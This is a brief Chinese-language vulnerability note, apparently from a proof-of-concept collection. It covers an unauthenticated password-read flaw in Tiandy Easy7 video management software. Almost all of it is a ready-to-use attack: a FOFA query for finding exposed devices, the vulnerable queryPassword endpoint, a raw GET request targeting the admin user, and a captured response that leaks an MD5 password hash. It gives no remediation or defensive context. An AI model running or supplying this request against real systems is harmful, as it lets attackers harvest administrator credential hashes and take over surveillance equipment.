天地伟业Easy7 queryPassword接口存在密码读取漏洞

admin

fofa：app="Tiandy-Easy7"


接口信息：/Easy7/rest/user/queryPassword

POC: /Easy7/rest/user/queryPassword?userName=admin

可以获取密码的md5值



GET  /Easy7/rest/user/queryPassword?userName=admin HTTP/1.1
Host: ip:post
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36





HTTP/1.1 200Server: nginxDate: Wed, 10 Dec 2025 01:20:11 GMTContent-Type: text/html;charset=UTF-8Content-Length: 64Connection: keep-aliveX-UA-Compatible: IE=EmulateIE8;charset=utf-8{"ret":0,"content":"b544ca4afb9ba1c332bd8942bfeb828f","count":0}